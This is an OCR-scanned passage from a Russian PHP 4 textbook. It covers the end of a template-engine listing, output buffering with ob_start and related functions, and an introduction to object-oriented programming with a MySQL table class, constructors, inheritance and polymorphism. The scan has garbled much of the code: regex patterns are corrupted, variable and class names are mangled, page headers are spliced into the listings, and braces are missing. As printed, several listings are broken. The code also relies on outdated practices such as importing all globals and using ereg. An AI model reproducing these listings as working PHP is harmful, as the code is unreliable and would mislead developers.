// Запускаем файл . Для этого сначала запоминаем текущее состояние

// и директорию , затем загружаем блоки файла (просто выполняем файл) ,

----------------------- Page 462-----------------------
Глава 30. Код и шаблон страницы 447

II а в конце восстанавливаем состояние .

$PrevSingle=$bSingleLine; $bSingleLine=@$Single ;

$SaveDir=getcwd(); chdir(dirname($fname)) ;

$SaveCBU=$CURBLOCK_URL; $CURBLOCK_URL=$name;•

// Возможно , в файле присутствуют начальные пробелы или другие

// нежелательные символы (например , в .htaccess-e это может

// быть знак комментирования) . Все они пойдут в блок с

// именем _PreBlockText .

Block("_PreBlockText");

// Делаем доступными все глобальные переменные

foreach($GLOBALS as $k=>$v) if(!@Isset($$k) ) global $$k ;

// Запускаем.файл

include $fname;

// Сигнализируем , что блоки закончились (достигнут конец файла) .

// При этом чаще всего будет осуществлена запись данных

// последнего блока файла в массив .

Block();

if (@$php_errormsg && ereg ('"parse", $php__errormsg ) )

echo "<b>Warning:</b> $php_errormsg at $fname , ".

"line ??? - thanks PHP developers <nobr>:-(</nobr>" ;

chdir($SaveDir);

$CURBLOCK_URL=$ SaveCBU ;

$bSingleLine=$PrevSingle;

}

// Главная функция шаблонизатора . Обрабатывает указанный файл $url

/ /и возвращает тело блока Output . В выходной поток ничего не печатается

// (за исключением предупреждений , если они возникли) .

function RunUrl($url )

{ global $BLOCK;

// Собираем все блоки

_CollectBlocks($url) ;
// Находим и запускаем главный шаблон . Мы делаем это в последнюю
// очередь , чтобы ему были доступны все блоки , из которых состоит
// страница . Шаблон - обычный блочный файл . В нем обязательно

// должен присутствовать блок Output .

$tmpl=@$BLOCK[BlkTemplate];

if(!$tmpl) {

die("Cannot find the template for <b>$url</b> ".

----------------------- Page 463-----------------------
448 _ Часть V. Приемы программирования на РНР

"(have you defined <tt>" .BlkTemplate . "</tt> block?)") ;

}
Load($tmpl) ;

// Возвращаем блок Output

if (!isSet($BLOCK[BlkOutput] ) ) {

die ("No output from template <b>$tmpl</b> ".

"(have you defined <tt>" .BlkOutput . "</tt> block?)") ;

}
return $BLOCK [BlkOutput ];

// Эта функция предназначена для внутреннего использования . Она собирает

// блоки из файла , соответствующего указанному $url , в том числе и блоки

// из всех .htaccess-файлов надкаталогов .

function _CollectBlocks ($url)

{ global $BLOCK ;

$url=abs_path($url,dirname($GLOBALS["SCRIPT_NAME"] ) ) ;

// Если путь - не / , то обратиться с надкаталогу .

if (strlen ($url) >1) _CollectBlocks (dirname ($url) ) ;

// Загрузить блоки самого файла

Load($url) ;

// Запускает все фильтры для блока .

function _ProcessContent ($name, S$cont , $url)

{ foreach($GLOBALS["BLOCKFILTERS"] as $F)

$F($name,$cont,$url) ;

//*** "Склеивание" блоков .

// Если тело блока начинается с [name] , то оно не просто

// записывается в массив блоков , а "пристыковывается " к значению ,

// уже там находящемуся , причем в качестве символа-соединителя

// выступает тело блока с именем name . Если строка name не задана

// (то есть , указано []), используется блок с именем DefaultGlue ,

//а если этого блока нет , то соединитель по умолчанию - " | ".

function _FBlkGlue ($name, &$cont , $url)

{ global $BLOCK;

if (егед('"Л\ [ ( Г] ]}*]", $cont , $P) ) {

$c=substr ($cont, strlen ($P[0] ) ) ; // тело блока после [name]

----------------------- Page 464-----------------------
Глава 30. Код и шаблон страницы 449

$п=$Р[1]; // имя соединителя
// Есть с чем "склеивать"?
if (! empty ($BLOCK[$name] )) {
$glue=@$BLOCK[$n] ;
if ( !lsset($glue) ) $glue=@$BLOCK[BlkDefGlue] ;
if ( ! Isset ($glue) ) $glue=DefGlue ;
$cont=$BLOCK[$name] . $glue.$c ;
}
// Склеивать нечего - просто присваиваем .
else $cont=$c;

//*** Удаление начальных символов табуляции из тела блока .
// Теперь можно выравнивать HTML-код в документах с помощью табуляции .
// Это оказывается чрезвычайно удобным , если мы используем тэги ,
// например , в таком контексте .
// < ?foreach($Book as $k=>$v ) {? >
// <tr>
// <td>< ?=$Book [ ' name ' ] ? ></td>
// <td>< ?=$Book [ 'text ' ] ? ></td>
// </tr>

// < ?}? >

function _FBlkTabs ($name, &$cont , $url)

A
{ $cont=preg_replace("/ \t+/m" , "",$cont) ;

"Перехват" выходного потока

В коде листинга 30.14 есть всего лишь несколько вызовов стандартных
функций, которые мы еще не рассматривали в этой книге. Я имею в виду
функции с префиксами ob_ (от Output Buffering — Буферизация вывода). Их
задача — "перехватить" тот текст, который выводится операторами echo, a
также участками, расположенными вне PHP-тэгов <? и ?>, и направить его
в строковую переменную для дальнейшей обработки.

^ Примечание

Эти чрезвычайно полезные функции впервые введены в РНР версии 4. Нужно за-
метить, что без них вряд ли можно написать более-менее удобный шаблонизатор.

----------------------- Page 465-----------------------
450 Часть V. Приемы программирования на РНР

Я привожу здесь их описания в том виде, который принят в этой книге.

void ob_start( )

Вызов данной функции говорит РНР, что необходимо начать "перехват"
стандартного выходного потока программы . Иными словами, весь текст,
который выводится операторами echo или расположен вне участков кода
РНР, будет накапливаться в специальном буфере, а не отправится в браузер.
В любой момент времени мы можем получить все содержимое этого буфера,
вызвав функцию ob_get_contents о . В шаблонизаторе мы вызываем
o b _ s t a r t ( ) каждый раз, когда встречается начало нового блока.

string ob_get_contents()

Функция возвращает текущее содержимое буфера, который заполняется
операторами вывода при включенном режиме буферизации. Именно
ob_get contents о обеспечивает в нашем шаблонизаторе возможность на-
копления текста блоков. Она вызывается (а возвращенные данные записы-
ваются в массив) каждый раз, когда заканчивается очередной блок (вернее,
перед началом следующего блока), а также при достижении конца файла.

Примечание

В случае, если буферизация выходного потока не была включена, функция
возвращает false . Это свойство можно использовать для проверки того, уста-
новлен ли буфер вывода, или же данные сразу направляются в браузер.

void ob end clean( }

Вызов данной функции завершает буферизацию выходного потока. При
этом все содержимое буфера, которое было накоплено с момента послед-
него вызова ob_starto , теряется (не попадает в браузер). Конечно, если
текст вывода нужен, необходимо сначала получить его при помощи
ob_get_content ( ) . Именно так и происходит в шаблонизаторе. Вызов
функции ob_end_ciean ( ) с последующим ob_start o — единственный спо-
соб очистить внутренний буфер РНР.

void ob_end flush()

Эта функция практически полностью эквивалентна ob_end_ciean() , за ис-
ключением того, что данные, накопленные в буфере, немедленно выводятся
в браузер пользователя. Ее применение оправдано, если мы хотим отправ-
лять данные страницы клиенту, параллельно записывая их в переменную
для дальнейшей обработки.

Стек буферов

Необходимо сделать несколько замечаний насчет функций "перехвата" выход-
ного потока программы. Что получится, если больше одного раза подряд вы-

----------------------- Page 466-----------------------
Глава 30. Код и шаблон страницы _ 451

звать ob_start ( ) ? Хотя об этом не написано ни слова в официальной доку-
ментации, рискну взять на себя ответственность и заявить, что, в общем-то,
ничего нежелательного не произойдет. Последующие операторы вывода будут
работать с тем буфером, который был установлен самым последним вызовом.
При этом функция ob_end_ciean() не завершит буферизацию, а просто уста-
новит в активное состояние "предыдущий" буфер (разумеется, сохранив его
предыдущее содержимое). Легче всего понять этот механизм на примере:

| Листинг 30.15. Пример "перехвата" выходного потока

ob_start ( ) ; // устанавливаем перехват в буфер 1
echo "1"// попадет в 1-й буфер

ob_start(); // откладываем на время буфер 1 и активизируем второй

echo "2"; // текст попадет в буфер 2

$A[2]=ob_get_contents () ; // текст во втором буфере

ob_end_clean ( ) ; // отключает буфер 2 и активизируем первый

echo "1"; // попадет опять в буфер 1

$A[l]=ob_get_contents ( > ; // текст в первом буфере

ob_end_clean ( ) ; // т . к . это последний буфер , буферизация отключается

// Распечатываем значения буферов , которые мы сохранили в массиве

foreach($A as $i=>$t) echo "$i: $t<br>" ;

// Выводится :

// 2 : 2

// 1: 11

Мы видим, что схема буферизации выходного потока чем-то похожа на стек:
всегда используется тот буфер, который был активизирован последним. У та-
кой схемы довольно много положительных черт, но есть и одна отрицатель-
ная. А именно, если какая-то логическая часть профаммы использует буфери-
зацию ВЫХОДНОГО ПОТОКа, НО ПО СЛучаЙНОСТИ "забудет" ВЫЗВаТЬ ob_end_clean ( )
перед своим завершением, оставшаяся профамма останется "в недоумении",
что же произошло. К сожалению, в РНР мы никак не сможем обойти это ог-
раничение, так что призываю вас быть особенно внимательными.

Проблемы с отладкой

В последней версии РНР на момент написания этих строк имелось неболь-
шое неудобство, которое может превратить отладку программ, использую-
щих буферизацию, в сущий ад. Дело ъ том, что при включенной буфериза-

----------------------- Page 467-----------------------
452 Часть V. Приемы программирования на РНР

ции все предупреждения , в нормальном состоянии генерируемые РНР, за-
писываются в буфер, а потому (если программа не отправляет буфер в брау-
зер) могут потеряться. К счастью, это касается лишь предупреждений, кото-
рые не завершают работу сценария немедленно. Фатальные ошибки
отправляются в браузер почти всегда. Неприятность как раз и состоит в
этом "почти". Даже фатальные ошибки останутся программистом незаме-
ченными , если он вызывает функцию ob_start( ) вложенным образом,-
т. е. более одного раза, как это было описано в предыдущем абзаце. На-
пример, если в листинге 30.15 после присваивания текста элементу массива
$д[2] вставить вызов несуществующей функции , программа сразу же выдаст
пользователю текущее содержимое буфера номер 1, а затем, "не сказав ни
слова", завершится . Это и понятно: ведь сообщение об ошибке попало во
второй буфер, а значит , было проигнорировано ! Почему разработчики РНР,
вопреки общеизвестной практике, не разделили стандартный выходной по-
ток и поток ошибок, остается неясным.
Если вы заметили , шаблонизатор всегда использует не более одного буфера
"перехвата" в каждый момент времени . Это сделано именно из соображений
упрощения отладки сценариев. И все же, если нефатальное предупреждение
было сгенерировано в момент обработки блока, который по каким-то при-
чинам не входит в шаблон страницы , оно останется незамеченным про-
граммистом. Впрочем, наверное, в этом нет ничего страшного: раз блок не
выводится, значит, нам все равно, правильно он отработан или нет.

----------------------- Page 468-----------------------
Глава 31

Объектно-ориентированное
программирование на РНР

В последние 10 лет идея объектно-ориентированного программирования
(ООП), кардинально новая идеология написания программ, все более зани-
мает умы программистов. И это неудивительно. В самом деле, сейчас про-
исходит (а точнее, уже произошло, особенно после выхода стандарта на
C++ от 98-го года и изобретения таких языков, как Java и Delphi) примерно
то же, что произошло в начале 80-х годов при появлении идеи структурного
программирования.

Объектно-ориентированные программы более просты и мобильны, их легче
модифицировать и сопровождать, чем их "традиционных" собратьев. Кроме
того, похоже, сама идея объектной ориентированности при грамотном ее
использовании позволяет программе быть даже более защищенной от раз-
личного рода ошибок, чем это задумывал программист в момент работы над
ней. Однако ничего не дается даром: сами идеи ООП довольно трудны для
восприятия "с нуля", поэтому до сих пор очень большое количество про-
грамм (различные системы Unix , Apache, Perl, да и сам РНР) все еще пи-
шутся на старом добром "объектно-неориентированном" Си. Что ж, очень
жаль . Ощущение жалости усиливается, если посмотреть на исходные тексты
этих программ, поражающие своей многословностью...

РНР, как и большинство современных языков, обеспечивает некоторую
поддержку ООП. Конечно, эта поддержка далеко не полна: например, нет
множественного наследования и сокрытия данных , довольно примитивен и
сам механизм наследования и полиморфизма. Правда, в четвертой версии
РНР наметился кое-какой прогресс: появились ссылочные переменные, но
их использование все еще несколько затруднительно из-за неудобного син-
таксиса . Однако это все же лучше , чем ничего .

В этой главе я кратко изложу основные идеи ООП, подкрепляя их иллюст-
рациями программ на РНР. Конечно, данная глава ни в коей мере не пре-
тендует на звание учебника по ООП. Интересующимся читателям рекомен-
дую изучить любой из монументальных трудов Бьерна Страуструпа,
изобретателя языка C++.

----------------------- Page 469-----------------------
454 Часть V. Приемы программирования на РНР

Классы и объекты

Ключевым понятием ООП является класс. Класс — это просто тип перемен-
ной. Ну, не совсем просто... На самом деле переменная класса (далее будем
ее называть объектом класса) является в некотором смысле автономной
сущностью. Обычно такой объект имеет набор свойств и операций (или ме-
тодов], которые могут быть с ним проведены. Например , мы можем рас-
сматривать тип int как класс. Тогда переменная этого "класса" будет обла-
дать одним свойством (ее целым значением) , а также набором методов
(сложение, вычитание , инкремент и т. д.).

В языке C++ мы могли бы, действительно , объявить тип int именно таким
образом. Однако в РНР дело обстоит немного хуже: мы не имеем права пе-
реопределять стандартные операции (сложение, вычитание и т. д.) для объ-
ектов. Например , если бы мы захотели добавить в язык комплексные числа ,
в C++ это можно было сделать без особых затруднений (и класс комплекс-
ных чисел по использованию практически не отличался бы от встроенного
типа int) , однако в РНР у нас такое добавление не удастся. Альтернативное
решение состоит в том, чтобы везде вместо + и других операций использо-
вать вызовы соответствующих функций — например, Add ( ) , которые бы яв-
лялись методами класса.

Но обо всем по порядку. Давайте посмотрим, как создать класс в РНР. Это
довольно несложно:

class MyName {

описания свойств

определения методов

)

Замечу, что здесь не создается объекта класса, а только определяется новый
тип. Чтобы создать объект класса МуЫате, в РНР нужно воспользоваться
специальным оператором new :

$0bj = new MyName;

Вот теперь в программе существует объект $obj , который "ведет себя" так
же, как и все остальные объекты класса MyName .

Свойства объекта

Но давайте пока не будем создавать объектов, а вернемся опять к классу.
Сначала (честно говоря, можно и не только в начале, но и в любом другом
месте описания) должны следовать описания свойств класса. Свойство —
это просто своеобразная переменная внутри объекта класса, в которой может
храниться какое-то значение. Например, в классе таблицы MySQL, которым

----------------------- Page 470-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 455

мы вскоре займемся, имя таблицы задано в виде свойства $TabieName .
То есть, грубо говоря, каждый объект-таблица содержит в себе свою собст-
венную переменную $TabieName и имеет над ней полный контроль. Какие
именно свойства будет иметь любой объект заданного класса, указывается
при создании этого класса.

Примечание

Мы можем представить несколько объектов одного и того же типа как братьев-
близнецов: у них все одинаково с "физиологической" точки зрения (одни и те же
имена свойств), но на самом деле это совершенно разные "люди" — у них раз-
ные взгляды, различный образ жизни (свойства содержат разные значения).

Объект класса может напрямую обращаться к своим свойствам , считывать
их или записывать . Еще раз: каждый объект одного и того же класса имеет
свой собственный набор значений свойств, и они не пересекаются . Таким
образом, объект класса со стороны представляется контейнером , хранящим
свои свойства.

Объявление свойств задается при помощи ключевого слова var :

var SpNamel, $pname2, . .. ;

Мы видим, что каждое свойство должно иметь уникальное имя в классе.
Инструкций var может быть несколько, и они могут встречаться в любом
месте описания класса, а не только в его начале.

Займемся теперь вопросом о том, как нам из программы получить доступ к
какому-то свойству определенного объекта (например , объекта SObj , кото-
рый мы только что создали). Это делается очень просто при помощи опера-
ции ->:

// Выводим в браузер значение свойства Namel объекта $0bj

echo $Obj->Namel ;

// Присваиваем значение свойству

$Obj->Name2="PHP Four" ;

Если какое-то свойство (например, с именем Subobj ) объекта само является
объектом (что вполне допустимо), нужно использовать две "стрелочки":

// Выводим значение свойства Property объекта-свойства

// $SuDOb;j объекта SOb]

echo SObj->SubObj->Property ;

Такой синтаксис был придуман из того расчета, чтобы быть максимально
простым. Добавлю, что указание объекта $obj перед стрелкой обязательно
по той причине , что каждый объект имеет свой собственный набор свойств.

----------------------- Page 471-----------------------
456 Часть V. Приемы программирования на РНР

Поэтому-то они и не пересекаются при хранении , а при доступе нужно
уточнить объект, свойство которого запрашивается.

Впрочем, в данном простом примере объект ничем не лучше обычного ас-
социативного массива — ведь мы просто используем его как контейнер для
хранения свойств. Поэтому давайте поговорим о более существенном отли-
чии — методах класса.

Методы

Основная идея ООП — инкапсуляция — базируется на объединении данных
(свойств) объекта с функциями, которые эти данные обрабатывают. В самом
деле, почему это мы привыкли разграничивать информацию и методы ее
обработки? Разве, в конце концов, эти методы сами не являются информа-
цией? Зачем же разделять неразделимые сущности?..

Фактически, свойства хранят в себе состояние объекта в данный момент
времени, тогда как методы (функции обработки) являются чем-то вроде ме-
ханизма посылки запроса экземпляру класса (объекту). Например , в классе
таблицы MySQL, которую мы с вами вскоре напишем, может быть довольно
большой набор методов. Самый простой из них — Drop ( ) , заставляющий
таблицу очистить и удалить себя из базы данных. Вызов этого метода из
программы происходит примерно так:

$Obj->Drop(); // таблица $0bj удаляет сама себя !

Конечно, у методов, как и у обычных функций , могут быть параметры.
К примеру , метод Add о того же класса (добавление новой записи в табли-
цу) принимает только один параметр — ассоциативный массив, содержащий
данные , а метод select о (получить все записи , удовлетворяющие запросу)
использует три параметра — логическое выражение запроса, максимальное
количество получаемых записей и правила сортировки результата. Он воз-
вращает массив с результирующими записями .

Класс таблицы MySQL

Пожалуй, я слишком далеко заглянул в будущее. Вернемся назад к основам.
Чтобы определить метод внутри класса, используется следующий синтаксис:

class MyClass (

function Method(параметры )

----------------------- Page 472-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 457

Давайте будем потихоньку набрасывать план нашего класса MySQL-
таблицы. Во первых, зададимся вопросом: зачем нам вообще это нужно?
Почему бы не пользоваться обычными функциями для работы с MySQL?
Ответ не вполне очевиден, поэтому оставим его на потом. А пока будем
считать, что такой класс нам необходим (а он действительно необходим,
т. к. значительно упрощает работу с базой данных).
Во-вторых, сформулируем правило: обращаться к какой-то таблице MySQL
только посредством нашего класса, а точнее, объекта этого класса, связан-
ного с таблицей. Как же его связать? Очевидно, объект должен содержать
имя таблицы, к которой он "привязан". Так как в программе могут исполь-
зоваться одновременно несколько таблиц и несколько объектов, то, навер-
ное, логично это самое имя хранить в виде свойства.
Что бы еще хотелось знать об объекте-таблице? Конечно, имена и типы ее
полей. Поместим их в свойство-массив. Наконец, в процессе работы навер-
няка иногда будут возникать ошибки. Чтобы как-то сигнализировать о них,
предлагаю в класс-таблицу ввести еще одно свойство — Error . Оно будет
равно нулю, если предыдущая операция (например, добавление записи)
прошла успешно, и тексту ошибки — в противном случае.
Вот что у нас пока получилось:
class MysqlTable (
var $TableName ; // Имя таблицы в базе данных
var $Fields; // Массив полей . Ключ — имя поля , значение — его тип
var $Error ; // Индикатор ошибки

Согласитесь, это почти все данные, которые должны храниться в объекте-
таблице. Все остальное (например, записи) находится в базе данных. Нам нужно
научиться каким-то образом легко извлекать и добавлять (а также удалять, под-
считывать и обновлять) эти записи путем простых запросов к объекту-таблице.
Для этого я предлагаю написать соответствующие методы (листинг 31.1).

^ Примечание^

Пока мы не будем расписывать код методов. Взамен просто обозначим его
словом "команды" в тексте программы. Вообще говоря, такой способ проекти-
рования, когда сначала решают, какие методы нам нужны, а потом начинают
продумывать их код, довольно типичен для ООП.

I Листинг 31.1. Эскиз класса таблицы

class MysqlTable {
var $TableName ; // Имя таблицы в базе данных

----------------------- Page 473-----------------------
458 _ _ Часть V. Приемы программирования на РНР

var $ Fie Ids; // Массив полей . Ключ — имя поля , значение — его тип
var $Error; // Индикатор ошибки
// Добавляет в таблицу запись $Rec . $Rec должна представлять из себя
// обычный ассоциативный массив. В будущем мы придем к тому, что
// массив $Rec будет представлен даже древовидной структурой,
// т . е. будет иметь подмассивы.
// Как вы понимаете, непосредственной поддержки этого в MySQL нет,
/ / н о мы "ее" реализуем.
function Add($Rec) { команды; }
// Возвращает массив записей (ключ — id записи, значение -
/'/ ассоциативный массив, в точности такой же , какой был помещен
// некогда в таблицу при помощи Add) , удовлетворяющих выражению
// $Ехрг. Возвращаются только первые $Num (или менее) записей.
// Сортировка осуществляется в соответствии с критерием SOrder.
function Select ($Expr, $Num=lelO, $0rder="id desc") { команды; }
// Удаляет из таблицы все записи, удовлетворяющие выражению $Ехрг.
function Delete ($Expr) { команды; }
// Удаляет из таблицы все записи (например, при помощи вызова
// Delete ("1=1") и удаляет саму таблицу из базы данных. Этот
// метод довольно опасен !
function Drop ( ) { команды; }

Пока, пожалуй, хватит. Я не буду здесь углубляться в то, как устроен каж-
дый из названных методов. Этим мы займемся в свое время. А пока обрати-
те внимание на то, что мы попытались определить все операции, которые
вообще применимы к таблице MySQL (на самом деле, это далеко не полный
их перечень, но пока нам и такого количества вполне достаточно). Это
очень важно, потому что потом, когда будем использовать объекты класса
MysqiTabie , мы сможем вообще забыть, что такое MySQL и язык запросов
SQL, или поручить разработку программы, обращающейся к MysqiTabie ,
человеку, не разбирающемуся в SQL.

Вообще говоря, это один из самых главных приемов ООП (структурного
программирования — в меньшей степени) — постоянно размышлять, как бы
нам сделать так, чтобы потом можно было побольше "забыть". Работает
принцип: если вы используете какой-то класс и не догадываетесь, как он
реализован, причем это вам нисколько не мешает, значит, класс хорош.
И наоборот. Впрочем, совсем абстрагироваться от SQL нам все же не удаст-
ся — все-таки нужно знать правила составления выражений для выборки и
удаления записей, для их сортировки и т. д. Но это уже не SQL, а что-то
гораздо более простое и интуитивно понятное .

----------------------- Page 474-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 459

Доступ объекта
к своим свойствам

Как ни странно, но при изучении ООП "с нуля" программисты, привыкшие
к структурному программированию , часто с трудом понимают , каким обра-
зом объект может добраться до своих собственных свойств. Рассмотрим, на-
пример, такую программу:

$0bjl=new Mysqltable ;

$Obj2=new MysqlTable ;

echo $Objl->TableName , " ", $Obj2->TableName ;

Здесь никаких проблем не возникает — ясно, что выводятся свойства раз-
ных объектов — мы же сами указали их до стрелки. Однако давайте посмот-
рим , что будет, если вызвать какой-нибудь метод одного из объектов:

$Objl->Drop() ;

Как видите, при вызове метода так же, как и при доступе к свойству, нужно
указать объект, который должен "откликнуться на запрос". Действительно,
этой командой мы удаляем из базы данных таблицу $obji , а не $obj2 . Рас-
смотрим теперь тело метода Drop ( ) :

class MysqlTable (

function Drop ()

{ сюда интерпретатор попадет , когда вызовется Drop ( ) для

какого-то объекта

По логике, Drop о — функция. Эта функция, конечно, едина для всех объ-
ектов класса MysqlTable . Но как же метод Drop о узнает, для какого объекта
он был вызван? Ведь мы не можем Drop о для $obji сделать одним , а для
$obj2 — другим , иначе нарушился бы весь смысл нашей объектной ориен-
тированности. В том-то вся и соль, что два различных объекта-таблицы яв-
ляются объектами одного и того же класса...

Оказывается, для доступа к свойствам (и методам, т. к. один метод вполне
может вызывать другой) внутри метода используется специальная предопре-
деленная переменная $this , содержащая тот объект, для которого был вы-
зван метод. Теперь мы можем определить Drop ( ) внутри класса так:

function Drop ( )

{ // сначала удаляем все записи из таблицы

$this->Delete ("1=1") ; // всегда истинное выражение

----------------------- Page 475-----------------------
460 Часть V. Приемы программирования на РНР

/ / а затем удаляем саму таблицу
mysql_query("drop table ".$this->TableName) ;

}

Если мы вызвали Drop о как sobji->Drop ( ) , то $this будет являться тем же
объектом, что и $obji (это будет ссылка на sobji) , а если бы мы вызвали
$ o b j 2 - > D r o p ( ) , то $this был бы равен $obj2 . To есть метод всегда знает,
для какого объекта он был вызван. Это настолько важно, что я повторю еще
раз: метод всегда знает, для какого объекта он был вызван.
Использование ссылок говорит о том, что $this — не просто копия объек-
та-хозяина, это и есть хозяин. Например , если бы в $obji->Drop ( ) мы захо-
тели изменить какое-то свойство $this , оно поменялось бы и у $objl , но не
у $obj2 или других объектов.

В синтаксисе РНР есть один просчет: запись вида
$ArrayOfObjects["obj"]->DoIt ( ) ;

считается синтаксически некорректной . Вместо нее применяйте следующие
две команды:
$obj=&$ArrayOfObjects["obj"]; $obj->Do!t() ;

Внимание

He забудьте про & сразу после оператора присваивания (то есть создавайте
ссылку на элемент массива), иначе метод Doit ( ) будет вызван не для самого
объекта, присутствующего в массиве, а для его копии, полученной в $obj !

Инициализация объекта.
Конструкторы

До сих пор мы не особенно задумывались, каким образом были созданы
объекты $obji и $obj2 и к какой таблице они прикреплены. Однако вполне
очевидно, что эти объекты не должны существовать сами по себе — это
просто не имеет смысла. Поэтому нам, наравне с уже описанными метода-
ми, придется написать еще один — а именно, метод, который бы:

О "привязывал" только что созданный объект-таблицу к таблице в MySQL;
П сбрасывал индикатор ошибок;
О заполнял свойство Fields ;

О делал другую работу по инициализации объекта.
Назовем это метод, например, init о :

class MysqlTable {

----------------------- Page 476-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 461

I / Привязывает объект-таблицу к таблице с именем $TblName

function Init (STblName)

{ $this->TableName=$TblName ;

$this->Error=0;

получаем и заполняем $this->Fields
}
}

$0bj=new MysqlTable ; $Obj->Init ("test") ;

А вдруг между вызовами new и init о случайно произойдет обращение к таб-
лице? Или кто-то по ошибке забудет вызвать init о для созданного объекта
(что обязательно случится, дайте только время)? Это приведет к непредска-
зуемым последствиям. Поэтому, как и положено в ООП, мы можем завести
метод вместо init о , который будет вызываться автоматически сразу же после
инструкции new и проводить работы по инициализации объекта. Он называет-
ся конструктором, или инициализатором. Чтобы РНР мог понять, что конст-
руктор следует вызывать автоматически, ему (конструктору) нужно дать то же
имя, что и имя класса. В нашем примере это будет выглядеть так:

class MysqlTable {

function MysqlTable ($TblName)

( команды , ранее описанные в Init О ;

$0bj=new MysqlTable ("test") ; // создаем и сразу же инициализируем объект

Обратите внимание на синтаксис передачи параметров конструктору. Если
бы мы случайно пропустили параметр test , PHP выдал бы сообщение об
ошибке. Таким образом, теперь в программе потенциально не могут быть
созданы объекты-таблицы, ни к чему не привязанные .

Деструктор

По аналогии с конструкторами обычно рассматриваются деструкторы. Дест-
руктор — тоже специальный метод объекта, который вызывается при уничто-
жении этого объекта (например, после завершения программы). Деструкторы
обычно выполняют служебную работу — закрывают файлы , записывают про-
токолы работы, разрывают соединения , "форматируют винчестер" -- в общем,
освобождают ресурсы. К сожатению, из-за "щедрости" РНР на выделение па-
мяти, которая никогда не будет освобождена, деструкторы в нем не поддер-
живаются . Так что, если вам нужно выполнить нечто необычное после того,
как вы перестали использовать какой-то объект, определите в нем метод, ко-
торый будет это делать, и вызовите его явно.

----------------------- Page 477-----------------------
462 Часть V. Приемы программирования на РНР

Наследование

Создание самодостаточных объектов — довольно неплохая идея. Однако это
далеко не единственная возможность ООП. Сейчас мы займемся наследова-
нием — одним из основных понятий ООП.

Итак, пусть у нас есть некоторый класс А с определенными свойствами и
методами. Но то, что этот класс делает, нас не совсем устраивает — напри-
мер, пусть он выполняет большинство функций , по сути нам необходимых ,
но не реализует некоторых других . Зададимся целью создать новый класс в,
как бы "расширяющий" возможности класса А, добавляющий ему несколько
новых свойств и методов. Сделать это можно двумя принципиально различ-
ными способами. Первый выглядит примерно так:

class A {

function TestAO ( . . . }

function Test( ) { .. . }

}
class В {

var $a; // объект класса А

function В(параметры_для_А , другие_параметры )

f $a=new А(параметры_для А) ;

инициализируем другие поля В

}
function TestBO { .. . }

function Test () { .. . }
}

Поясню: в этой реализации объект класса в содержит в своем составе по-
добъект класса А в качестве свойства. Это свойство — лишь "частичка" объ-
екта класса в, не более того. Подобъект не "знает", что он в действительно-
сти не самостоятелен, а содержится в классе в, поэтому не может пред-
принимать никаких действий , специфичных для этого класса.

Но вспомним, что мы хотели получить расширение возможностей класса А , а
не нечто, содержащее объекты А. Что означает "расширение"? Лишь одно:
мы бы хотели, чтобы везде, где допустима работа с объектами класса А, была
допустима и работа с объектами класса в. Но в нашем примере это совсем
не так.

П Мы не видим явно, что класс в лишь расширяет возможности А, а не яв-
ляется отдельной сущностью.

П Мы должны обращаться к "части А" класса в через $obj->a->TestA() , а к
членам самого класса в как $obj->Test B ( ) . Последнее может быть до-
вольно утомительным, если, как это часто бывает, в в будет использо-

----------------------- Page 478-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 463

ваться очень много методов из А и гораздо меньше — из в. Кроме того,
это заставляет нас постоянно помнить о внутреннем устройстве класса в.

Впрочем, такой способ расширения также иногда находит применение . Мы
поговорим об этом чуть позже. А пока рассмотрим, что же представляет со-
бой наследование (или расширение возможностей) классов.

class В extends A (

function В(параметры_для_А , другие_параметры )

{ $(:Мз->А(параметры_для_А) ;

инициализируем другие поля В

}

function TestB() { .. . }

function Test( ) { .. . }

}

Ключевое слово extend s говорит о том, что создаваемый класс является
лишь "расширением" класса А, и не более того. То есть в содержит те же
самые свойства и методы, что и А, но, помимо них и еще некоторые допол-
нительные, "свои".

Теперь "часть А" находится прямо внутри класса в и может быть легко доступ-
на, наравне с методами и свойствами самого класса в. Например, для объекта
$obj класса в допустимы выражения $obj->TestA( ) и $obj->TestB() . Итак,
мы видим, что, действительно, класс в является воплощением идеи "рас-
ширение функциональности класса А". Обратите также внимание: мы можем
теперь забыть, что в унаследовал от А некоторые свойства или методы — сна-
ружи все выглядит так, будто класс в реализует их самостоятельно.

( Замечание )

Немного о терминологии: принято класс А называть базовым, а класс в — про-
изводным от А. Иногда базовый класс также называют суперклассом, а произ-
водный — подклассом.

Зачем может понадобиться наследование? Например, мы написали класс
Mysql-таблицы и хотели бы дополнительно иметь класс Guestbook (гостевая
книга). Очевидно, в классе Guestbook будет много методов, которые нужны
для того же, что и методы из MysqiTabie , поэтому было бы разумным сде-
лать еГО ПРОИЗВОДНЫМ ОТ MysqiTabie :

class Guestbook extends MysqiTabie {

методы и свойства , которых нет в MysqiTabie

и которые относятся к гостевой книге

----------------------- Page 479-----------------------
464 Часть V. Приемы программирования на РНР

Многие языки программирования поддерживают множественное наследова-
ние (то есть такое, когда, скажем, класс в наследует члены не одного, а сра-
зу нескольких классов — например, А и z). К сожалению, в РНР таких воз-
можностей нет.

Полиморфизм

Полиморфизм (многоформенность) — это, я бы сказал, одно из интересных
следствий идеи наследования. В общих словах, полиморфностъ класса — это
его способность использовать функции производных от него классов, даже
если на момент определения еще неизвестно, какой именно класс будет вклю-
чать его в качестве базового и, тем самым, становиться от него производным.
Вернемся к нашему предыдущему примеру с классами А Й В .
class A {

// Выводит , функция какого класса была вызвана

function Test () { echo "Test fromA\n" ; }

// Тестовая функция — просто переадресует на Test О

function Call() { Test (); }

}
class В extends A {

// Функция Test( ) для класса В

function Test () { echo "Test from B\n"; }

}
$a=new A() ;

$b=new В();

Давайте рассмотрим следующие команды:

$a->Call(); // напечатается "Test from A "

$b->Test.(); // напечатается "Test from В "

$b->Call(); // Внимание ! Напечатается "Test from В" !

Обратите внимание на последнюю строчку: вопреки ожиданиям, вызывается
не функция Test ( ) из класса А, а функция из класса в! Складывается впе-
чатление, что Test о из в просто переопределила функцию Test о из А. Так
оно на самом деле и есть. Функция, переопределяемая в производном клас-
се, называется виртуальной.

Механизм виртуальных функций позволяет нам, например, "подсовывать"
функциям, ожидающим объект одного класса, объект другого, производного,
класса. Еще один классический пример — класс, воплощающий собой свой-
ства геометрической фигуры, и несколько производных от него классов —
